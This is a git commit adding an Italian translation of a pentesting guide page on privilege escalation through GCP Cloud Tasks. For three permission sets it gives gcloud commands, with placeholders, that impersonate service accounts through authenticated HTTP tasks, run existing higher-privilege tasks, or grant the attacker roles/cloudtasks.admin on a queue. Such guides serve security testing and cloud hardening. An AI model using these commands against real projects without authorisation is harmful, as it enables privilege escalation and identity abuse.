Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:23:13 +00:00
parent 80bc48a330
commit 881a4aa579
2 changed files with 46 additions and 0 deletions

View File

@@ -107,6 +107,7 @@
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)

View File

@@ -0,0 +1,45 @@
# GCP - Cloud Tasks Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Tasks
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
Un attaccante con questi permessi può **impersonare altri account di servizio** creando attività che vengono eseguite con l'identità dell'account di servizio specificato. Questo consente di inviare **richieste HTTP autenticate ai servizi Cloud Run o Cloud Functions protetti da IAM**.
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
Un attaccante con questi permessi può **eseguire attività programmate esistenti** senza avere permessi sull'account di servizio associato all'attività. Questo consente di eseguire attività che sono state precedentemente create con account di servizio con privilegi più elevati.
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
Il principale che esegue questo comando **non ha bisogno del permesso `iam.serviceAccounts.actAs`** sull'account di servizio del task. Tuttavia, questo consente solo di eseguire task esistenti - non concede la possibilità di creare o modificare task.
### `cloudtasks.queues.setIamPolicy`
Un attaccante con questo permesso può **assegnare a se stesso o ad altri principali ruoli di Cloud Tasks** su code specifiche, potenzialmente elevando a `roles/cloudtasks.admin` che include la possibilità di creare ed eseguire task.
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
Questo consente all'attaccante di concedere permessi di amministratore completi di Cloud Tasks sulla coda a qualsiasi account di servizio che controllano.
## Riferimenti
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
{{#include ../../../banners/hacktricks-training.md}}